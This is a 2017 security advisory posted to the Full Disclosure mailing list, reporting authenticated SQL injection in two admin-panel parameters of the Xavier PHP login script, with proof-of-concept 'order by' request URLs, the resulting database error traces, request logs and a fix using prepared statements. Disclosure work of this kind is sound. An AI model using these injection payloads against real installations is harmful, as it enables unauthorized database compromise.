[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[FD] Xavier v2.4 PHP MP - SQL Injection Web Vulnerabilities
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Xavier v2.4 PHP MP - SQL Injection Web Vulnerabilities
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Wed, 7 Jun 2017 09:20:55 +0200
Document Title:
===============
Xavier v2.4 PHP MP - SQL Injection Web Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2076
Release Date:
=============
2017-06-06
Vulnerability Laboratory ID (VL-ID):
====================================
2076
Common Vulnerability Scoring System:
====================================
5.3
Vulnerability Class:
====================
SQL Injection
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
The script can easily be dropped in to an existing website allowing you to
protect pages by adding one line of PHP code at the top of a page.
You can also protect sections of pages. Secure your web pages or sections of
content dependant on whether your users are logged in or out,
or whether they are a member of a User Group. Or secure your pages dependent on
whether you are logged on as an administrator.
(Copy of the Homepage:
https://codecanyon.net/item/xavier-php-login-script-user-management/9146226 )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
sql-injection web vulnerabilities in the Xavier PHP Login Script & User
Management Admin Panel v2.4 web-application.
Vulnerability Disclosure Timeline:
==================================
2017-06-06: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Siggles
Product: Xavier - PHP Login Script & User Management Admin Panel 2.4
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Multiple sql-injection vulnerabilities has been discovered in the Xavier PHP
Login Script & User Management Admin Panel web-application.
The issue allows remote attackers to inject own malicious sql commands to
compromise the web-application & database management system.
The sql-injection vulnerabilities are located in the `usertoedit` and `log_id`
parameters of the `adminuserdit.php` and `editgroup.php` files.
Remote attackers with privileged user accounts are able to compromise the
web-application and database management system by injection of sql
commands via GET method request. The attacker vector is client-side and the
request method to inject the sql commands is GET. The vulnerability
is a classic order by sql-injection.
The security risk of the sql-injection web vulnerability is estimated as medium
with a common vulnerability scoring system count of 5.3.
Exploitation of the remote sql-injection web vulnerability requires an
authenticated web-application user account and no user interaction.
Successful exploitation of the sql-injection web vulnerability results in
web-application or database management system compromise.
Request Method(s):
[+] GET
Vulnerable File(s):
[+] adminuseredit.php
[+] editgroup.php
Vulnerable Parameter(s):
[+] usertoedit
[+] log_id
Proof of Concept (PoC):
=======================
The remote sql-injection vulnerability can be exploited by authenticated user
accounts without user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC: Example
https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=[SQL-INJECTION
VULNERABILITY!]
https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=[SQL-INJECTION
VULNERABILITY!]
PoC: Exploitation
https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=1%20order%20by%203--
https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=1%20order%20by%203--
--- SQL Error & Exception Logs ---
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42S22]:
Column not found: 1054 Unknown column '100' in 'order clause''
in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:300 Stack
trace:
#0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(300):
PDO->query('SELECT * FROM `...')
#1 /home/angry/public_html/xavier-demo/admin/editgroup.php(11):
Functions->returnGroupInfo(Object(Database), '1 order by 100-...')
#2 {main} thrown in
/home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 300
-
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]:
Syntax error or access violation: 1064 You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right
syntax to use near ''' at line 1'
in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:300 Stack
trace:
#0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(300):
PDO->query('SELECT * FROM `...')
#1 /home/angry/public_html/xavier-demo/admin/editgroup.php(11):
Functions->returnGroupInfo(Object(Database), ''')
#2 {main} thrown in
/home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 300
-
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]:
Syntax error or access violation: 1064 You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right
syntax to use near '''' at line 1'
in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:59 Stack
trace:
#0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(59):
PDO->query('SELECT username...')
#1 /home/angry/public_html/xavier-demo/admin/adminuseredit.php(26):
Functions->usernameTaken('-1' -1'')
#2 {main} thrown in
/home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 59
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET
https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=%27[SQL-INJECTION
VULNERABILITY!]--
Mime Type[text/html]
Request Header:
Host[xavier-php.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101
Firefox/53.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Cookie[PHPSESSID=6b9f9560a6a0d35b12b8603424cf2525]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Server[Apache]
Keep-Alive[timeout=2, max=100]
Connection[Keep-Alive]
Transfer-Encoding[chunked]
Content-Type[text/html]
-
20:49:05.559[216ms][total 277ms] Status: 200[OK]
GET
https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=%27[SQL-INJECTION
VULNERABILITY!]--
Mime Type[text/html]
Request Header:
Host[xavier-php.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101
Firefox/53.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Cookie[PHPSESSID=6b9f9560a6a0d35b12b8603424cf2525]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Server[Apache]
Keep-Alive[timeout=2, max=100]
Connection[Keep-Alive]
Transfer-Encoding[chunked]
Content-Type[text/html]
Reference(s):
https://xavier-php.localhost:8080/
https://xavier-php.localhost:8080/xavier/
https://xavier-php.localhost:8080/xavier/admin/
https://xavier-php.localhost:8080/xavier/admin/editgroup.php
https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a parse via escape of the vulnerable
parameters in the affected php files.
Restrict the prameter input and use a prepared statement to secure the
functions of the admin panel.
Disallow to preview errors in the php code of the panel to prevent attacks.
Security Risk:
==============
The security risk of the sql-injection vulnerability in the web panel of the
xavier application is estimated as medium (CVSS 5.3).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a
particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of
business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not
approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for
criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist-
hacker/analyst/researcher groups or individuals. We do not publish trade
researcher mails,
phone numbers, conversations or anything else to journalists, investigative
authorities or private individuals.
Domains: www.vulnerability-lab.com - www.vulnerability-db.com
- www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php -
vulnerability-lab.com/list-of-bug-bounty-programs.php -
vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php -
vulnerability-lab.com/rss/rss_upcoming.php -
vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab
- youtube.com/user/vulnerability0lab
Any modified copy or reproduction, including partially usages, of this file,
resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is
granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts,
advisories, source code, videos and other information on this website is
trademark
of vulnerability-lab team & the specific authors or managers. To record, list,
modify, use or edit our material contact (admin@) to get an ask permission.
Copyright © 2017 | Vulnerability Laboratory
- [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/